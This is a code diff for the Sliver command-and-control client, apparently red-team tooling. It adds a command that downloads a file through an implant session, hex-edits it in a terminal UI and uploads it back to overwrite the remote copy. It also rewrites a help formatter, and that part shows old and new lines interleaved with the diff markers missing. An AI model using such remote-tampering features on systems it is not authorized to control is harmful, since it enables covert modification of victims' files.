|
||||
if s.bold {
|
||||
st = st.Bold(true)
|
||||
}
|
||||
if s.underline {
|
||||
st = st.Underline(true)
|
||||
}
|
||||
if s.fgSet {
|
||||
st = st.Foreground(s.fg)
|
||||
}
|
||||
return st.Render(text)
|
||||
}
|
||||
|
||||
// FormatHelpTmpl - Applies the help markup (e.g. [[.Bold]]...[[.Normal]]) using lipgloss.
|
||||
func FormatHelpTmpl(helpStr string) string {
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
tmpl, _ := template.New("help").Delims("[[", "]]").Parse(helpStr)
|
||||
tmpl.Execute(outputBuf, struct {
|
||||
Normal string
|
||||
Bold string
|
||||
Underline string
|
||||
Black string
|
||||
Red string
|
||||
Green string
|
||||
Orange string
|
||||
Blue string
|
||||
Purple string
|
||||
Cyan string
|
||||
Gray string
|
||||
}{
|
||||
Normal: normal,
|
||||
Bold: bold,
|
||||
Underline: underline,
|
||||
Black: black,
|
||||
Red: red,
|
||||
Green: green,
|
||||
Orange: orange,
|
||||
Blue: blue,
|
||||
Purple: purple,
|
||||
Cyan: cyan,
|
||||
Gray: gray,
|
||||
})
|
||||
return outputBuf.String()
|
||||
var (
|
||||
out strings.Builder
|
||||
state helpStyleState
|
||||
)
|
||||
state.reset()
|
||||
|
||||
i := 0
|
||||
for i < len(helpStr) {
|
||||
j := strings.Index(helpStr[i:], "[[.")
|
||||
if j < 0 {
|
||||
out.WriteString(state.render(helpStr[i:]))
|
||||
break
|
||||
}
|
||||
j += i
|
||||
if j > i {
|
||||
out.WriteString(state.render(helpStr[i:j]))
|
||||
}
|
||||
|
||||
k := strings.Index(helpStr[j:], "]]")
|
||||
if k < 0 {
|
||||
out.WriteString(state.render(helpStr[j:]))
|
||||
break
|
||||
}
|
||||
token := helpStr[j+3 : j+k]
|
||||
if !state.apply(token) {
|
||||
// Unknown token; preserve it as plain text.
|
||||
out.WriteString(helpStr[j : j+k+2])
|
||||
}
|
||||
i = j + k + 2
|
||||
}
|
||||
|
||||
return out.String()
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package hexedit
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/rsteube/carapace"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
// Commands returns the hex-edit command.
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
hexEditCmd := &cobra.Command{
|
||||
Use: consts.HexEditStr + " <remote path>",
|
||||
Short: "Hex edit a remote file",
|
||||
Long: help.GetHelpFor([]string{consts.HexEditStr}),
|
||||
Args: cobra.ExactArgs(1),
|
||||
GroupID: consts.FilesystemHelpGroup,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
HexEditCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
|
||||
flags.Bind("", false, hexEditCmd, func(f *pflag.FlagSet) {
|
||||
f.String("max-size", "8MB", "maximum file size to load (e.g. 8MB, 512KB)")
|
||||
f.Int64("offset", 0, "byte offset to jump to (decimal or 0x...)")
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
|
||||
carapace.Gen(hexEditCmd).PositionalCompletion(
|
||||
carapace.ActionValues().Usage("path to the remote file to hex edit"),
|
||||
)
|
||||
|
||||
return []*cobra.Command{hexEditCmd}
|
||||
}
|
||||
@@ -0,0 +1,732 @@
|
||||
package hexedit
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"charm.land/lipgloss/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
type editorMode int
|
||||
|
||||
const (
|
||||
modeNormal editorMode = iota
|
||||
modeHexEdit
|
||||
modeASCIIEdit
|
||||
modeCommand
|
||||
)
|
||||
|
||||
type exitAction int
|
||||
|
||||
const (
|
||||
actionNone exitAction = iota
|
||||
actionQuit
|
||||
actionSaveQuit
|
||||
)
|
||||
|
||||
const bytesPerLine = 16
|
||||
|
||||
type editorResult struct {
|
||||
Data []byte
|
||||
Modified bool
|
||||
Action exitAction
|
||||
Force bool
|
||||
}
|
||||
|
||||
type editorModel struct {
|
||||
data []byte
|
||||
original []byte
|
||||
modified []bool
|
||||
modifiedCount int
|
||||
cursor int
|
||||
top int
|
||||
width int
|
||||
height int
|
||||
mode editorMode
|
||||
command string
|
||||
commandPrefix rune
|
||||
pending rune
|
||||
dirty bool
|
||||
forceQuit bool
|
||||
action exitAction
|
||||
filename string
|
||||
message string
|
||||
clearMessage bool
|
||||
nibbleSet bool
|
||||
nibbleValue byte
|
||||
}
|
||||
|
||||
var (
|
||||
lineStyle = lipgloss.NewStyle()
|
||||
)
|
||||
|
||||
const (
|
||||
ansiReverseOn = "\x1b[7m"
|
||||
ansiReverseOff = "\x1b[0m"
|
||||
)
|
||||
|
||||
func modifiedStyle() lipgloss.Style {
|
||||
// Read from the global console theme so theme.yaml changes are reflected.
|
||||
return console.StyleWarning
|
||||
}
|
||||
|
||||
func newEditorModel(data []byte, filename string, offset int) *editorModel {
|
||||
copyData := append([]byte(nil), data...)
|
||||
model := &editorModel{
|
||||
data: copyData,
|
||||
original: append([]byte(nil), data...),
|
||||
modified: make([]bool, len(copyData)),
|
||||
mode: modeNormal,
|
||||
filename: filename,
|
||||
commandPrefix: ':',
|
||||
}
|
||||
if offset > 0 && offset < len(copyData) {
|
||||
model.cursor = offset
|
||||
}
|
||||
return model
|
||||
}
|
||||
|
||||
func (m *editorModel) Init() tea.Cmd {
|
||||
if m.width == 0 || m.height == 0 {
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
m.width = w
|
||||
m.height = h
|
||||
} else {
|
||||
m.width = 80
|
||||
m.height = 24
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
||||
switch msg := msg.(type) {
|
||||
case tea.WindowSizeMsg:
|
||||
m.width = msg.Width
|
||||
m.height = msg.Height
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
case tea.KeyPressMsg:
|
||||
if m.clearMessage {
|
||||
m.message = ""
|
||||
m.clearMessage = false
|
||||
}
|
||||
key := msg.Key()
|
||||
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
|
||||
m.action = actionQuit
|
||||
return m, tea.Quit
|
||||
}
|
||||
switch m.mode {
|
||||
case modeCommand:
|
||||
return m.handleCommand(key)
|
||||
case modeHexEdit:
|
||||
return m.handleHexEdit(key)
|
||||
case modeASCIIEdit:
|
||||
return m.handleASCIIEdit(key)
|
||||
default:
|
||||
return m.handleNormal(key)
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) View() tea.View {
|
||||
if m.width == 0 || m.height == 0 {
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
m.width = w
|
||||
m.height = h
|
||||
} else {
|
||||
m.width = 80
|
||||
m.height = 24
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
}
|
||||
|
||||
textHeight := m.textHeight()
|
||||
var b strings.Builder
|
||||
for i := 0; i < textHeight; i++ {
|
||||
lineIndex := m.top + i
|
||||
b.WriteString(m.renderLine(lineIndex))
|
||||
if i < textHeight-1 {
|
||||
b.WriteByte('\n')
|
||||
}
|
||||
}
|
||||
|
||||
if m.height < 2 {
|
||||
return hexEditorView(b.String())
|
||||
}
|
||||
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(renderStatusBar(m.width, m.statusLine()))
|
||||
|
||||
if m.height < 3 {
|
||||
return hexEditorView(b.String())
|
||||
}
|
||||
|
||||
b.WriteByte('\n')
|
||||
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
||||
return hexEditorView(b.String())
|
||||
}
|
||||
|
||||
func renderStatusBar(width int, text string) string {
|
||||
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
|
||||
}
|
||||
|
||||
func renderCursorCell(cell string) string {
|
||||
return ansiReverseOn + cell + ansiReverseOff
|
||||
}
|
||||
|
||||
func hexEditorView(content string) tea.View {
|
||||
v := tea.NewView(content)
|
||||
v.AltScreen = true
|
||||
return v
|
||||
}
|
||||
|
||||
func (m *editorModel) result() editorResult {
|
||||
data := append([]byte(nil), m.data...)
|
||||
return editorResult{
|
||||
Data: data,
|
||||
Modified: m.dirty,
|
||||
Action: m.action,
|
||||
Force: m.forceQuit,
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
m.command = ""
|
||||
m.commandPrefix = ':'
|
||||
case tea.KeyEnter:
|
||||
m.executeCommand(strings.TrimSpace(m.command))
|
||||
m.command = ""
|
||||
m.mode = modeNormal
|
||||
m.commandPrefix = ':'
|
||||
if m.action != actionNone {
|
||||
return m, tea.Quit
|
||||
}
|
||||
case tea.KeyBackspace:
|
||||
m.command = popRune(m.command)
|
||||
default:
|
||||
if key.Text != "" {
|
||||
m.command += key.Text
|
||||
}
|
||||
}
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleHexEdit(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
m.nibbleSet = false
|
||||
case tea.KeyBackspace:
|
||||
if m.nibbleSet {
|
||||
m.nibbleSet = false
|
||||
return m, nil
|
||||
}
|
||||
m.moveLeft()
|
||||
case tea.KeyLeft:
|
||||
m.moveLeft()
|
||||
m.nibbleSet = false
|
||||
case tea.KeyRight:
|
||||
m.moveRight()
|
||||
m.nibbleSet = false
|
||||
case tea.KeyUp:
|
||||
m.moveUp()
|
||||
m.nibbleSet = false
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
m.nibbleSet = false
|
||||
default:
|
||||
for _, r := range key.Text {
|
||||
val, ok := hexNibble(r)
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
if !m.nibbleSet {
|
||||
m.nibbleValue = val << 4
|
||||
m.nibbleSet = true
|
||||
continue
|
||||
}
|
||||
m.setByte(m.nibbleValue | val)
|
||||
m.nibbleSet = false
|
||||
m.moveRight()
|
||||
}
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleASCIIEdit(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.mode = modeNormal
|
||||
case tea.KeyLeft:
|
||||
m.moveLeft()
|
||||
case tea.KeyRight:
|
||||
m.moveRight()
|
||||
case tea.KeyUp:
|
||||
m.moveUp()
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
default:
|
||||
for _, r := range key.Text {
|
||||
if r < 0 || r > 0xFF {
|
||||
continue
|
||||
}
|
||||
m.setByte(byte(r))
|
||||
m.moveRight()
|
||||
}
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
|
||||
switch key.Code {
|
||||
case tea.KeyEsc:
|
||||
m.pending = 0
|
||||
case tea.KeyLeft:
|
||||
m.moveLeft()
|
||||
case tea.KeyRight:
|
||||
m.moveRight()
|
||||
case tea.KeyUp:
|
||||
m.moveUp()
|
||||
case tea.KeyDown:
|
||||
m.moveDown()
|
||||
default:
|
||||
for _, r := range key.Text {
|
||||
if m.handleNormalRune(r) {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
m.ensureCursorVisible()
|
||||
return m, nil
|
||||
}
|
||||
|
||||
func (m *editorModel) handleNormalRune(r rune) bool {
|
||||
if m.pending != 0 {
|
||||
handled := true
|
||||
switch m.pending {
|
||||
case 'g':
|
||||
if r == 'g' {
|
||||
m.gotoTop()
|
||||
} else {
|
||||
handled = false
|
||||
}
|
||||
default:
|
||||
handled = false
|
||||
}
|
||||
m.pending = 0
|
||||
if handled {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
switch r {
|
||||
case 'h':
|
||||
m.moveLeft()
|
||||
case 'j':
|
||||
m.moveDown()
|
||||
case 'k':
|
||||
m.moveUp()
|
||||
case 'l':
|
||||
m.moveRight()
|
||||
case '0':
|
||||
m.moveLineStart()
|
||||
case '$':
|
||||
m.moveLineEnd()
|
||||
case 'i':
|
||||
m.mode = modeHexEdit
|
||||
m.nibbleSet = false
|
||||
case 'a':
|
||||
m.mode = modeASCIIEdit
|
||||
case 'x':
|
||||
m.setByte(0x00)
|
||||
case 'g':
|
||||
m.pending = 'g'
|
||||
case 'G':
|
||||
m.gotoBottom()
|
||||
case ':':
|
||||
m.mode = modeCommand
|
||||
m.command = ""
|
||||
m.commandPrefix = ':'
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (m *editorModel) executeCommand(cmd string) {
|
||||
if cmd == "" {
|
||||
return
|
||||
}
|
||||
|
||||
if isNumericOffset(cmd) {
|
||||
if value, err := strconv.ParseInt(cmd, 0, 64); err == nil {
|
||||
m.gotoOffset(int(value))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
switch strings.ToLower(cmd) {
|
||||
case "q":
|
||||
m.action = actionQuit
|
||||
case "q!":
|
||||
m.action = actionQuit
|
||||
m.forceQuit = true
|
||||
case "wq", "x":
|
||||
m.action = actionSaveQuit
|
||||
case "w":
|
||||
m.message = "Use :wq to upload and exit"
|
||||
m.clearMessage = true
|
||||
default:
|
||||
m.message = fmt.Sprintf("Unknown command: %s", cmd)
|
||||
m.clearMessage = true
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) renderLine(lineIndex int) string {
|
||||
totalWidth := m.textWidth()
|
||||
if totalWidth <= 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
if lineIndex >= m.totalLines() {
|
||||
return lineStyle.Width(totalWidth).Render("~")
|
||||
}
|
||||
|
||||
lineStart := lineIndex * bytesPerLine
|
||||
hexCells := make([]string, bytesPerLine)
|
||||
asciiCells := make([]string, bytesPerLine)
|
||||
|
||||
for i := 0; i < bytesPerLine; i++ {
|
||||
idx := lineStart + i
|
||||
if idx >= len(m.data) {
|
||||
hexCells[i] = " "
|
||||
asciiCells[i] = " "
|
||||
continue
|
||||
}
|
||||
byteVal := m.data[idx]
|
||||
hexRaw := fmt.Sprintf("%02x", byteVal)
|
||||
if idx == m.cursor && m.mode == modeHexEdit && m.nibbleSet {
|
||||
hexRaw = string([]byte{hexChar(m.nibbleValue >> 4), '_'})
|
||||
}
|
||||
asciiRaw := string(printableByte(byteVal))
|
||||
isModified := m.isModified(idx)
|
||||
if idx == m.cursor {
|
||||
hexCells[i] = renderCursorCell(hexRaw)
|
||||
asciiCells[i] = renderCursorCell(asciiRaw)
|
||||
continue
|
||||
}
|
||||
if isModified {
|
||||
hexCells[i] = modifiedStyle().Render(hexRaw)
|
||||
asciiCells[i] = modifiedStyle().Render(asciiRaw)
|
||||
continue
|
||||
}
|
||||
hexCells[i] = hexRaw
|
||||
asciiCells[i] = asciiRaw
|
||||
}
|
||||
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("%08x", lineStart))
|
||||
b.WriteString(": ")
|
||||
for i := 0; i < bytesPerLine; i++ {
|
||||
if i == 8 {
|
||||
b.WriteByte(' ')
|
||||
}
|
||||
b.WriteString(hexCells[i])
|
||||
if i < bytesPerLine-1 {
|
||||
b.WriteByte(' ')
|
||||
}
|
||||
}
|
||||
b.WriteString(" |")
|
||||
for i := 0; i < bytesPerLine; i++ {
|
||||
b.WriteString(asciiCells[i])
|
||||
}
|
||||
b.WriteString("|")
|
||||
|
||||
return lineStyle.Width(totalWidth).Render(b.String())
|
||||
}
|
||||
|
||||
func (m *editorModel) statusLine() string {
|
||||
mode := "NORMAL"
|
||||
switch m.mode {
|
||||
case modeHexEdit:
|
||||
mode = "HEX"
|
||||
case modeASCIIEdit:
|
||||
mode = "ASCII"
|
||||
case modeCommand:
|
||||
mode = "COMMAND"
|
||||
}
|
||||
fileName := baseName(m.filename)
|
||||
if fileName == "" {
|
||||
fileName = "[No Name]"
|
||||
}
|
||||
modified := ""
|
||||
if m.dirty {
|
||||
modified = " [+]"
|
||||
}
|
||||
cursor := m.cursor
|
||||
return fmt.Sprintf(" %s %s Off 0x%08x (%d) Size %s%s", mode, fileName, cursor, cursor, util.ByteCountBinary(int64(len(m.data))), modified)
|
||||
}
|
||||
|
||||
func (m *editorModel) commandLine() string {
|
||||
if m.mode == modeCommand {
|
||||
return ":" + m.command
|
||||
}
|
||||
if m.message != "" {
|
||||
return m.message
|
||||
}
|
||||
switch m.mode {
|
||||
case modeHexEdit:
|
||||
return "ESC: normal hex: 0-9/a-f :wq save+quit :q quit"
|
||||
case modeASCIIEdit:
|
||||
return "ESC: normal type to edit bytes :wq save+quit :q quit"
|
||||
default:
|
||||
return "i: hex edit a: ascii edit h/j/k/l move x zero :wq save+quit :q quit"
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) textHeight() int {
|
||||
if m.height <= 2 {
|
||||
return 1
|
||||
}
|
||||
return m.height - 2
|
||||
}
|
||||
|
||||
func (m *editorModel) textWidth() int {
|
||||
if m.width <= 0 {
|
||||
return 1
|
||||
}
|
||||
return m.width
|
||||
}
|
||||
|
||||
func (m *editorModel) totalLines() int {
|
||||
if len(m.data) == 0 {
|
||||
return 1
|
||||
}
|
||||
return (len(m.data) + bytesPerLine - 1) / bytesPerLine
|
||||
}
|
||||
|
||||
func (m *editorModel) ensureCursorVisible() {
|
||||
if len(m.data) == 0 {
|
||||
m.cursor = 0
|
||||
m.top = 0
|
||||
return
|
||||
}
|
||||
if m.cursor < 0 {
|
||||
m.cursor = 0
|
||||
}
|
||||
if m.cursor >= len(m.data) {
|
||||
m.cursor = len(m.data) - 1
|
||||
}
|
||||
|
||||
line := m.cursor / bytesPerLine
|
||||
height := m.textHeight()
|
||||
if line < m.top {
|
||||
m.top = line
|
||||
} else if line >= m.top+height {
|
||||
m.top = line - height + 1
|
||||
}
|
||||
if m.top < 0 {
|
||||
m.top = 0
|
||||
}
|
||||
maxTop := m.totalLines() - height
|
||||
if maxTop < 0 {
|
||||
maxTop = 0
|
||||
}
|
||||
if m.top > maxTop {
|
||||
m.top = maxTop
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveLeft() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
if m.cursor > 0 {
|
||||
m.cursor--
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveRight() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
if m.cursor < len(m.data)-1 {
|
||||
m.cursor++
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveUp() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
if m.cursor >= bytesPerLine {
|
||||
m.cursor -= bytesPerLine
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveDown() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
if m.cursor+bytesPerLine < len(m.data) {
|
||||
m.cursor += bytesPerLine
|
||||
}
|
||||
}
|
||||
|
||||
func (m *editorModel) moveLineStart() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
line := m.cursor / bytesPerLine
|
||||
m.cursor = line * bytesPerLine
|
||||
}
|
||||
|
||||
func (m *editorModel) moveLineEnd() {
|
||||
if len(m.data) == 0 {
|
||||
return
|
||||
}
|
||||
line := m.cursor / bytesPerLine
|
||||
end := (line+1)*bytesPerLine - 1
|
||||
if end >= len(m.data) {
|
||||
end = len(m.data) - 1
|
||||
}
|
||||
m.cursor = end
|
||||
}
|
||||
|
||||
func (m *editorModel) gotoTop() {
|
||||
if len(m.data) == 0 {
|
||||
m.cursor = 0
|
||||
return
|
||||
}
|
||||
m.cursor = 0
|
||||
}
|
||||
|
||||
func (m *editorModel) gotoBottom() {
|
||||
if len(m.data) == 0 {
|
||||
m.cursor = 0
|
||||
return
|
||||
}
|
||||
m.cursor = len(m.data) - 1
|
||||
}
|
||||
|
||||
func (m *editorModel) gotoOffset(offset int) {
|
||||
if len(m.data) == 0 {
|
||||
m.message = "Empty file"
|
||||
m.clearMessage = true
|
||||
return
|
||||
}
|
||||
if offset < 0 || offset >= len(m.data) {
|
||||
m.message = fmt.Sprintf("Offset out of range: %d", offset)
|
||||
m.clearMessage = true
|
||||
return
|
||||
}
|
||||
m.cursor = offset
|
||||
m.ensureCursorVisible()
|
||||
}
|
||||
|
||||
func (m *editorModel) setByte(value byte) {
|
||||
if len(m.data) == 0 {
|
||||
m.message = "Empty file"
|
||||
m.clearMessage = true
|
||||
return
|
||||
}
|
||||
if m.cursor >= len(m.data) || m.cursor >= len(m.original) {
|
||||
return
|
||||
}
|
||||
wasModified := m.modified[m.cursor]
|
||||
orig := m.original[m.cursor]
|
||||
m.data[m.cursor] = value
|
||||
if value == orig {
|
||||
if wasModified {
|
||||
m.modified[m.cursor] = false
|
||||
if m.modifiedCount > 0 {
|
||||
m.modifiedCount--
|
||||
}
|
||||
}
|
||||
} else if !wasModified {
|
||||
m.modified[m.cursor] = true
|
||||
m.modifiedCount++
|
||||
}
|
||||
m.dirty = m.modifiedCount > 0
|
||||
}
|
||||
|
||||
func printableByte(b byte) byte {
|
||||
if b >= 32 && b <= 126 {
|
||||
return b
|
||||
}
|
||||
return '.'
|
||||
}
|
||||
|
||||
func (m *editorModel) isModified(idx int) bool {
|
||||
if idx < 0 || idx >= len(m.modified) {
|
||||
return false
|
||||
}
|
||||
return m.modified[idx]
|
||||
}
|
||||
|
||||
func hexChar(n byte) byte {
|
||||
if n < 10 {
|
||||
return '0' + n
|
||||
}
|
||||
return 'a' + (n - 10)
|
||||
}
|
||||
|
||||
func hexNibble(r rune) (byte, bool) {
|
||||
switch {
|
||||
case r >= '0' && r <= '9':
|
||||
return byte(r - '0'), true
|
||||
case r >= 'a' && r <= 'f':
|
||||
return byte(r-'a') + 10, true
|
||||
case r >= 'A' && r <= 'F':
|
||||
return byte(r-'A') + 10, true
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
func isNumericOffset(value string) bool {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return false
|
||||
}
|
||||
if strings.HasPrefix(strings.ToLower(value), "0x") {
|
||||
_, err := strconv.ParseInt(value, 0, 64)
|
||||
return err == nil
|
||||
}
|
||||
for _, r := range value {
|
||||
if r < '0' || r > '9' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func popRune(value string) string {
|
||||
runes := []rune(value)
|
||||
if len(runes) == 0 {
|
||||
return value
|
||||
}
|
||||
return string(runes[:len(runes)-1])
|
||||
}
|
||||
|
||||
func baseName(path string) string {
|
||||
if path == "" {
|
||||
return ""
|
||||
}
|
||||
clean := strings.ReplaceAll(path, "\\", "/")
|
||||
if idx := strings.LastIndex(clean, "/"); idx != -1 {
|
||||
return clean[idx+1:]
|
||||
}
|
||||
return path
|
||||
}
|
||||
@@ -0,0 +1,359 @@
|
||||
package hexedit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
"github.com/bishopfox/sliver/client/command/filesystem"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/bishopfox/sliver/util/encoders"
|
||||
"github.com/charmbracelet/colorprofile"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
beaconPollInterval = 1 * time.Second
|
||||
)
|
||||
|
||||
// HexEditCmd downloads a remote file, opens it in a hex editor, and optionally uploads changes.
|
||||
func HexEditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remotePath := strings.TrimSpace(args[0])
|
||||
if remotePath == "" {
|
||||
con.PrintErrorf("Missing parameter: remote path\n")
|
||||
return
|
||||
}
|
||||
|
||||
maxSizeStr, _ := cmd.Flags().GetString("max-size")
|
||||
maxSize, err := parseByteSize(maxSizeStr)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Invalid --max-size %q: %s\n", maxSizeStr, err)
|
||||
return
|
||||
}
|
||||
if maxSize <= 0 {
|
||||
con.PrintErrorf("--max-size must be greater than zero\n")
|
||||
return
|
||||
}
|
||||
|
||||
offset, _ := cmd.Flags().GetInt64("offset")
|
||||
if offset < 0 {
|
||||
con.PrintErrorf("--offset must be zero or positive\n")
|
||||
return
|
||||
}
|
||||
|
||||
fetchSize := maxSize + 1
|
||||
if fetchSize < maxSize {
|
||||
fetchSize = maxSize
|
||||
}
|
||||
|
||||
ctx, cancel := con.GrpcContext(cmd)
|
||||
defer cancel()
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Downloading %s ...", remotePath), ctrl)
|
||||
download, err := downloadRemote(ctx, con, cmd, remotePath, fetchSize)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if download.Response != nil && download.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
if !download.Exists {
|
||||
con.PrintErrorf("Remote file does not exist: %s\n", remotePath)
|
||||
return
|
||||
}
|
||||
if download.IsDir {
|
||||
con.PrintErrorf("Remote path is a directory: %s\n", download.Path)
|
||||
return
|
||||
}
|
||||
|
||||
data := download.Data
|
||||
if download.Encoder == "gzip" {
|
||||
data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if int64(len(data)) > maxSize {
|
||||
con.PrintErrorf("Remote file size %s exceeds --max-size %s\n", util.ByteCountBinary(int64(len(data))), util.ByteCountBinary(maxSize))
|
||||
return
|
||||
}
|
||||
|
||||
if offset > 0 {
|
||||
if len(data) == 0 {
|
||||
con.PrintErrorf("Offset %d out of range for empty file\n", offset)
|
||||
return
|
||||
}
|
||||
if offset >= int64(len(data)) {
|
||||
con.PrintErrorf("Offset %d out of range (file size %d bytes)\n", offset, len(data))
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
path := download.Path
|
||||
if path == "" {
|
||||
path = remotePath
|
||||
}
|
||||
|
||||
for {
|
||||
result, err := runHexEditor(data, path, int(offset))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Editor error: %s\n", err)
|
||||
return
|
||||
}
|
||||
data = result.Data
|
||||
|
||||
if result.Action == actionNone {
|
||||
return
|
||||
}
|
||||
|
||||
if !result.Modified {
|
||||
if result.Action == actionSaveQuit {
|
||||
con.PrintInfof("No changes to upload for %s\n", path)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
switch result.Action {
|
||||
case actionSaveQuit:
|
||||
uploadNow, err := confirm("Upload changes to remote file (overwrite)?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if !uploadNow {
|
||||
keepEditing, err := confirm("Continue editing?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if keepEditing {
|
||||
continue
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if err := uploadEditedContent(cmd, con, path, data); err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
return
|
||||
case actionQuit:
|
||||
if result.Force {
|
||||
return
|
||||
}
|
||||
discard, err := confirm("Discard changes?")
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
if discard {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func runHexEditor(data []byte, filename string, offset int) (editorResult, error) {
|
||||
model := newEditorModel(data, filename, offset)
|
||||
width, height := 80, 24
|
||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||
width, height = w, h
|
||||
}
|
||||
program := tea.NewProgram(
|
||||
model,
|
||||
tea.WithWindowSize(width, height),
|
||||
tea.WithColorProfile(colorprofile.TrueColor),
|
||||
)
|
||||
finalModel, err := program.Run()
|
||||
if err != nil {
|
||||
return editorResult{}, err
|
||||
}
|
||||
editor, ok := finalModel.(*editorModel)
|
||||
if !ok {
|
||||
return editorResult{}, fmt.Errorf("unexpected editor state")
|
||||
}
|
||||
return editor.result(), nil
|
||||
}
|
||||
|
||||
